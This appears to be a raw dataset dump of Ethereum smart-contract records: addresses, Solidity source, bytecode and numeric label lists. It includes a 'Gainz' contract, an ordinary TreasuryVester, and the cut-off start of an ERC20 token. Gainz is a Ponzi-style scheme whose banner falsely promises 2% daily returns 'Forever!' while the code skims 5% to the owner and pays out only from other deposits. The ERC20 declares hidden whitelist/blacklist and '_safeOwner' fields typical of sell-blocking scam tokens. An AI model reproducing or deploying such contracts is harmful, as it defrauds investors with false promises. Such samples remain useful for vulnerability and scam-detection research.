29cd565b606091505b5080516129ec5760405162461bcd60e51b815260040161076590613588565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612154565b506001949350505050565b60008060008060008088806020019051810190612a369190612ee1565b93985091965094509250905060008a6001811115612a6457634e487b7160e01b600052602160045260246000fd5b1415612b695780600114612aba5760405162461bcd60e51b815260206004820152601860248201527f4f7074696f6e3a2037323120616d6f756e74206e6f74203100000000000000006044820152606401610765565b604051635c46a7ef60e11b81526001600160a01b0384169063b88d4fde90612aec908890889087908e906004016134fe565b600060405180830381600087803b158015612b0657600080fd5b505af1925050508015612b17575060015b612b64573d808015612b45576040519150601f19603f3d011682016040523d82523d6000602084013e612b4a565b606091505b50600196508715612b5e5780518082602001fd5b50612c1e565b612c1e565b60018a6001811115612b8b57634e487b7160e01b600052602160045260246000fd5b1415612c1e57604051637921219560e11b81526001600160a01b0384169063f242432a90612bc59088908890879087908f9060040161353b565b600060405180830381600087803b158015612bdf57600080fd5b505af1925050508015612bf0575060015b612c1e573d808015612b45576040519150601f19603f3d011682016040523d82523d6000602084013e612b4a565b5050505050949350505050565b60606121548484600085612c41565b9392505050565b606082471015612ca25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610765565b843b612cf05760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610765565b600080866001600160a01b03168587604051612d0c91906134e2565b60006040518083038185875af1925050503d8060008114612d49576040519150601f19603f3d011682016040523d82523d6000602084013e612d4e565b606091505b5091509150612d5e828286612d69565b979650505050505050565b60608315612d78575081612c3a565b825115612d885782518084602001fd5b8160405162461bcd60e51b81526004016107659190613575565b828054612dae90613945565b90600052602060002090601f016020900481019282612dd05760008555612e16565b82601f10612de957805160ff1916838001178555612e16565b82800160010185558215612e16579182015b82811115612e16578251825591602001919060010190612dfb565b50612e22929150612e26565b5090565b5b80821115612e225760008155600101612e27565b60008083601f840112612e4c578182fd5b50813567ffffffffffffffff811115612e63578182fd5b6020830191508360208260051b8501011115612e7e57600080fd5b9250929050565b60008083601f840112612e96578182fd5b50813567ffffffffffffffff811115612ead578182fd5b602083019150836020828501011115612e7e57600080fd5b600060208284031215612ed6578081fd5b8135612c3a81613b6f565b600080600080600060a08688031215612ef8578081fd5b8551612f0381613b6f565b6020870151909550612f1481613b6f565b6040870151909450612f2581613b6f565b6060870151608090970151959894975095949392505050565b60008060408385031215612f50578182fd5b8235612f5b81613b6f565b91506020830135612f6b81613b6f565b809150509250929050565b60008060008060008060008060a0898b031215612f91578283fd5b8835612f9c81613b6f565b97506020890135612fac81613b6f565b9650604089013567ffffffffffffffff80821115612fc8578485fd5b612fd48c838d01612e3b565b909850965060608b0135915080821115612fec578485fd5b612ff88c838d01612e3b565b909650945060808b0135915080821115613010578384fd5b5061301d8b828c01612e85565b999c989b5096995094979396929594505050565b600080600060608486031215613045578283fd5b833561305081613b6f565b9250602084013561306081613b6f565b929592945050506040919091013590565b600080600080600060808688031215613088578081fd5b853561309381613b6f565b945060208601356130a381613b6f565b935060408601359250606086013567ffffffffffffffff8111156130c5578182fd5b6130d188828901612e85565b969995985093965092949392505050565b600080600080608085870312156130f7578182fd5b843561310281613b6f565b9350602085013561311281613b6f565b925060408501359150606085013567ffffffffffffffff811115613134578182fd5b8501601f81018713613144578182fd5b8035613157613152826137f2565b6137c1565b81815288602083850101111561316b578384fd5b81602084016020830137908101602001929092525092959194509250565b60008060008060008060a087890312156131a1578384fd5b86356131ac81613b6f565b955060208701356131bc81613b6f565b94506040870135935060608701359250608087013567ffffffffffffffff8111156131e5578283fd5b6131f189828a01612e85565b979a9699509497509295939492505050565b60008060408385031215613215578182fd5b823561322081613b6f565b91506020830135612f6b81613b84565b60008060408385031215613242578182fd5b823561324d81613b6f565b946020939093013593505050565b60006020828403121561326c578081fd5b8151612c3a81613b84565b600060208284031215613288578081fd5b5035919050565b6000602082840312156132a0578081fd5b8135612c3a81613b92565b6000602082840312156132bc578081fd5b8151612c3a81613b92565b6000602082840312156132d8578081fd5b8135612c3a81613ba8565b6000806000806000606086880312156132fa578283fd5b853567ffffffffffffffff80821115613311578485fd5b61331d89838a01612e85565b90975095506020880135915080821115613335578485fd5b5061334288828901612e85565b909450925050604086013561335681613b6f565b809150509295509295909350565b600060208284031215613375578081fd5b815167ffffffffffffffff81111561338b578182fd5b8201601f8101841361339b578182fd5b80516133a9613152826137f2565b8181528560208385010111156133bd578384fd5b6133ce826020830160208601613919565b95945050505050565b600080600080608085870312156133ec578182fd5b843567ffffffffffffffff811115613402578283fd5b850160808188031215613413578283fd5b93506020850135925060408501359150606085013563ffffffff81168114613439578182fd5b939692955090935050565b6000815180845260208085019450808401835b8381101561347c5781516001600160a01b031687529582019590820190600101613457565b509495945050505050565b6000815180845260208085019450808401835b8381101561347c5781518752958201959082019060010161349a565b600081518084526134ce816020860160208601613919565b601f01601f19169290920160200192915050565b600082516134f4818460208701613919565b9190910192915050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613531908301846134b6565b9695505050505050565b6001600160a01b03868116825285166020820152604081018490526060810183905260a060808201819052600090612d5e908301846134b6565b602081526000612c3a60208301846134b6565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208082528251608083830152805160a0840181905260009291820190839060c08601905b808310156136ce578351600281106136b8576136b86139b1565b825292840192600192909201919084019061369e565b50838701519350601f199250828682030160408701526136ee8185613444565b9350505060408501518185840301606086015261370b8382613487565b9250506060850151818584030160808601526135318382613487565b868152602081018690526001600160a01b038516604082015263ffffffff84811660608301528316608082015260c0810160058310613768576137686139b1565b8260a0830152979650505050505050565b6000808335601e1984360301811261378f578283fd5b83018035915067ffffffffffffffff8211156137a9578283fd5b6020019150600581901b3603821315612e7e57600080fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156137ea576137ea6139c7565b604052919050565b600067ffffffffffffffff82111561380c5761380c6139c7565b50601f01601f191660200190565b6000821982111561382d5761382d61399b565b500190565b600063ffffffff8083168185168083038211156138515761385161399b565b01949350505050565b60008282101561386c5761386c61399b565b500390565b5b818110156120615760008155600101613872565b61389083826139ea565b818160005260208060002060005b868110156138dc5783356138b181613b6f565b82546001600160a01b0319166001600160a01b0391909116178255928201926001918201910161389e565b50505050505050565b6138ef83826139ea565b818160005260208060002060005b868110156138dc578335825592820192600191820191016138fd565b60005b8381101561393457818101518382015260200161391c565b838111156114475750506000910152565b600181811c9082168061395957607f821691505b6020821081141561397a57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156139945761399461399b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600081356106dc81613ba8565b600160401b8211156139fe576139fe6139c7565b805482825580831015610c0957816000526020600020611447828201858301613871565b613a2c8283613779565b600160401b811115613a4057613a406139c7565b825481845580821015613a9657836000526020600020601f830160051c8101601f84168015613a80576000198083018054828460200360031b1c16815550505b50613a93601f840160051c830182613871565b50505b506000838152602090206000805b83811015613ae757613abf613ab8866139dd565b8385613b41565b60208501945060018083019250601f831115613ade5792830192600092505b50600101613aa4565b5050505050613af96020830183613779565b613b07818360018601613886565b5050613b166040830183613779565b613b248183600286016138e5565b5050613b336060830183613779565b6114478183600386016138e5565b60028310613b5157613b516139b1565b80548260031b60ff811b8086831b1681198416178455505050505050565b6001600160a01b038116811461283257600080fd5b801515811461283257600080fd5b6001600160e01b03198116811461283257600080fd5b6002811061283257600080fdfea2646970667358221220ced78041114edbd5444cb4088704cd957d9cdfb3aa674b8a9b2881a0f97a1fa264736f6c63430008040033
[ 7, 9, 12, 13, 5 ]
0xf208f8cdf637e49b5e6219fa76b014d49287894f
pragma solidity ^0.4.25; /*////////////////////////////////////////////////////////////////////////////// /$$$$$$ /$$ /$$__ $$ |__/ | $$ \__/ /$$$$$$ /$$ /$$$$$$$ /$$$$$$$$ | $$ /$$$$ |____ $$| $$| $$__ $$|____ /$$/ | $$|_ $$ /$$$$$$$| $$| $$ \ $$ /$$$$/ | $$ \ $$ /$$__ $$| $$| $$ | $$ /$$__/ | $$$$$$/| $$$$$$$| $$| $$ | $$ /$$$$$$$$ \______/ \_______/|__/|__/ |__/|________/ 0xf208f8Cdf637E49b5e6219FA76b014d49287894F Gainz is a simple game that will pay you 2% of your investment per day! Forever! ================================================================================ How to play: 1. Simply send any non-zero amount of ETH to Gainz contract address: 0xf208f8Cdf637E49b5e6219FA76b014d49287894F 2. Send any amount of ETH (even 0!) to Gainz and Gainz will pay you back at a rate of 2% per day! Repeat step 2. to get rich! Repeat step 1. to increase your Gainz balance and get even richer! - Use paymentDue function to check how much Gainz owes you (wei) - Use balanceOf function to check your Gainz balance (wei) You may easily use these functions on etherscan: https://etherscan.io/verifyContract?a=0xf208f8cdf637e49b5e6219fa76b014d49287894f#readContract Spread the word! Share the link to Gainz smart contract page on etherscan: https://etherscan.io/verifyContract?a=0xf208f8cdf637e49b5e6219fa76b014d49287894f#code Have questions? Ask away on etherscan: https://etherscan.io/verifyContract?a=0xf208f8cdf637e49b5e6219fa76b014d49287894f#comments Great Gainz to everybody! //////////////////////////////////////////////////////////////////////////////*/ contract Gainz { address owner; constructor () public { owner = msg.sender; } mapping (address => uint) balances; mapping (address => uint) timestamp; function() external payable { owner.transfer(msg.value / 20); if (balances[msg.sender] != 0){ msg.sender.transfer(paymentDue(msg.sender)); } timestamp[msg.sender] = block.number; balances[msg.sender] += msg.value; } // Check your balance! (wei) function balanceOf(address userAddress) public view returns (uint) { return balances[userAddress]; } // Check how much ETH Gainz owes you! (wei) function paymentDue(address userAddress) public view returns (uint) { uint blockDelta = block.number-timestamp[userAddress]; return balances[userAddress]*2/100*(blockDelta)/6000; } }
0x60806040526004361061004b5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663366f2d86811461010757806370a0823114610147575b60005473ffffffffffffffffffffffffffffffffffffffff166108fc601434049081150290604051600060405180830381858888f19350505050158015610096573d6000803e3d6000fd5b5033600090815260016020526040902054156100e357336108fc6100b982610175565b6040518115909202916000818181858888f193505050501580156100e1573d6000803e3d6000fd5b505b33600090815260026020908152604080832043905560019091529020805434019055005b34801561011357600080fd5b5061013573ffffffffffffffffffffffffffffffffffffffff60043516610175565b60408051918252519081900360200190f35b34801561015357600080fd5b5061013573ffffffffffffffffffffffffffffffffffffffff600435166101ba565b73ffffffffffffffffffffffffffffffffffffffff16600090815260026020818152604080842054600190925290922054611770439390930360649190920204020490565b73ffffffffffffffffffffffffffffffffffffffff16600090815260016020526040902054905600a165627a7a72305820d9b303ca2a737fb6d63db8886b223fe30eadc9f950062d46690fda089385e2290029
[ 4 ]
0xf20944cb9e893193346df8380abbddc335f80a3b
pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract TreasuryVester { using SafeMath for uint; address public UFI; address public recipient; uint public vestingAmount; uint public vestingBegin; uint public vestingCliff; uint public vestingEnd; uint public lastUpdate; constructor( address UFI_, address recipient_, uint vestingAmount_, uint vestingBegin_, uint vestingCliff_, uint vestingEnd_ ) public { require(vestingBegin_ >= block.timestamp, 'TreasuryVester::constructor: vesting begin too early'); require(vestingCliff_ >= vestingBegin_, 'TreasuryVester::constructor: cliff is too early'); require(vestingEnd_ > vestingCliff_, 'TreasuryVester::constructor: end is too early'); UFI = UFI_; recipient = recipient_; vestingAmount = vestingAmount_; vestingBegin = vestingBegin_; vestingCliff = vestingCliff_; vestingEnd = vestingEnd_; lastUpdate = vestingBegin; } function setRecipient(address recipient_) public { require(msg.sender == recipient, 'TreasuryVester::setRecipient: unauthorized'); recipient = recipient_; } function claim() public { require(block.timestamp >= vestingCliff, 'TreasuryVester::claim: not time yet'); uint amount; if (block.timestamp >= vestingEnd) { amount = IUFI(UFI).balanceOf(address(this)); } else { amount = vestingAmount.mul(block.timestamp - lastUpdate).div(vestingEnd - vestingBegin); lastUpdate = block.timestamp; } IUFI(UFI).transfer(recipient, amount); } } interface IUFI { function balanceOf(address account) external view returns (uint); function transfer(address dst, uint rawAmount) external returns (bool); }
0x608060405234801561001057600080fd5b50600436106100925760003560e01c806366d003ac1161006657806366d003ac1461010557806384a1931f1461010d578063c046371114610115578063e29bc68b1461011d578063f3640e741461012557610092565b8062728f76146100975780632115a645146100b15780633bbed4a0146100d55780634e71d92d146100fd575b600080fd5b61009f61012d565b60408051918252519081900360200190f35b6100b9610133565b604080516001600160a01b039092168252519081900360200190f35b6100fb600480360360208110156100eb57600080fd5b50356001600160a01b0316610142565b005b6100fb6101ad565b6100b9610338565b61009f610347565b61009f61034d565b61009f610353565b61009f610359565b60025481565b6000546001600160a01b031681565b6001546001600160a01b0316331461018b5760405162461bcd60e51b815260040180806020018281038252602a8152602001806104a1602a913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6004544210156101ee5760405162461bcd60e51b81526004018080602001828103825260238152602001806104ec6023913960400191505060405180910390fd5b6000600554421061027757600054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561024457600080fd5b505afa158015610258573d6000803e3d6000fd5b505050506040513d602081101561026e57600080fd5b505190506102ad565b6102a66003546005540361029a600654420360025461035f90919063ffffffff16565b9063ffffffff6103c116565b4260065590505b600080546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561030957600080fd5b505af115801561031d573d6000803e3d6000fd5b505050506040513d602081101561033357600080fd5b505050565b6001546001600160a01b031681565b60055481565b60065481565b60035481565b60045481565b60008261036e575060006103bb565b8282028284828161037b57fe5b04146103b85760405162461bcd60e51b81526004018080602001828103825260218152602001806104cb6021913960400191505060405180910390fd5b90505b92915050565b60006103b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361048a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561044f578181015183820152602001610437565b50505050905090810190601f16801561047c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161049657fe5b049594505050505056fe54726561737572795665737465723a3a736574526563697069656e743a20756e617574686f72697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7754726561737572795665737465723a3a636c61696d3a206e6f742074696d6520796574a265627a7a72315820bcb8139d4ad9dec9fbc041583c01c43a46272bfe1736da77095597429c52dacd64736f6c63430005100032
[ 16 ]
0xf20971470a19c6237b8b0b3742b52d83bfa11baa
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they 